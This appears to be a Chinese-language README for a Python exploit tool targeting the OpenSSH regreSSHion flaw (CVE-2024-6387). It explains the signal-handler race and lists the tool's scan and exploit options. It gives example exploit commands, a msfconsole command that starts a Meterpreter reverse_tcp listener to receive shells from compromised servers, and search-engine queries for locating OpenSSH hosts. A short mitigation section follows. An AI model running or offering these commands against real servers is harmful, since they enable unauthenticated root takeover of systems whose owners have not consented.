CVE-2024-6387.py - PoC该漏洞利用程序仅适用于 32 位 OpenSSH 服务器。这是由于 PoC 使用了 32 位指针! 此外,已知某些版本已打补丁,并非所有服务器都存在漏洞。 已测试环境:Kali Linux、ParrotSec、Ubuntu 22.04
OpenSSH 服务器中的远程未经身份验证的代码执行漏洞
CVE-2024-6387.py 是一个轻量级、高效的工具,旨在识别运行易受攻击版本的 OpenSSH 服务器,专门针对最近发现的 regreSSHion 漏洞(CVE-2024-6387)。该脚本支持快速扫描多个 IP 地址、域名和 CIDR 网络范围,以检测潜在漏洞并确保基础设施安全。
在 OpenSSH 服务器 (sshd) 中发现了一个信号处理程序竞态条件:如果客户端未在 LoginGraceTime 秒内(默认 120 秒,旧版 OpenSSH 中为 600 秒)进行身份验证,则 sshd 的 SIGALRM 处理程序会被异步调用。然而,此信号处理程序调用了多种非异步信号安全的函数,例如 syslog()。
技术细节请参见此处。
该漏洞由 Qualys 的研究人员于 2024 年 5 月 发现,并分配标识符 CVE-2024-6387,是由于 sshd 中的信号处理程序竞态条件导致未经身份验证的远程攻击者能够以 root 身份执行任意代码。
“如果客户端未在 LoginGraceTime 秒内(默认 120 秒)进行身份验证,则 sshd 的 SIGALRM 处理程序会被异步调用,并调用多种非异步信号安全的函数。”
“远程未经身份验证的攻击者可以利用此漏洞以 root 权限执行任意代码。”
要求:python3 最新版本
### 命令行参数
mode: 选择操作模式。选项为 scan 或 exploit。
-T, --targets: IP 地址、域名、包含 IP 地址的文件路径或 CIDR 网络范围。
-f, --outputfile: 保存结果的文件(例如 result.json)。
-g, --gracetimecheck: 在识别版本后等待检查 LoginGraceTime 缓解的时间(秒),默认 120 秒。
-n, --nic: 网络接口卡(默认 'eth0')。
-o, --output: 结果输出格式(选项:'csv', 'txt', 'json')。
-p, --port: 要检查或利用的端口号(默认 22)。
-s, --speed: 增加竞态条件机会的线程数(默认 10)。
-t, --timeout: 连接超时时间(秒),默认 1 秒。
-H, --resolve-hostnames: 解析主机名
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
首先运行以下命令(将 {yourip} 替换为您的 IP 处理程序),然后使用上述命令运行漏洞利用程序
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
该工具向控制台提供彩色输出,以提高可读性:
绿色:成功连接或操作。 红色:连接失败或错误。 黄色:警告或值得注意的信息。 青色:一般信息或状态更新。
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access补丁管理:迅速应用 OpenSSH 的可用补丁对于缩小漏洞窗口至关重要。及时打补丁可确保已知的漏洞无法被利用,从而减少攻击者的可利用时间。
增强访问控制:通过网络控制限制 SSH 访问增加了额外的防御层。这种方法通过将 SSH 连接限制到仅授权的网络或 IP 地址,最大限度地减少了对潜在攻击者的暴露。实施防火墙规则或使用 VPN 进行安全访问可以有效强制执行这些限制。
网络分段:将网络划分为多个段有助于遏制潜在入侵的影响。通过将关键系统和敏感数据与网络中不太关键的部分隔离,您可以降低攻击者横向移动的风险。可以通过严格的访问控制和监控来补充分段,以检测和响应任何未经授权的分段尝试。
入侵检测系统 (IDS):部署 IDS 或入侵防御系统 (IPS) 能够实时监控网络流量和系统日志。这些系统可以检测与 regreSSHion 漏洞相关的可疑活动和潜在利用尝试。此类系统触发的警报可以及时进行调查和缓解,防止造成重大损害。
监控利用尝试:持续监控网络和系统日志至关重要。寻找任何可能表明试图利用 OpenSSH 漏洞的异常模式或活动。这种主动方法有助于在威胁造成损害之前识别并响应它们。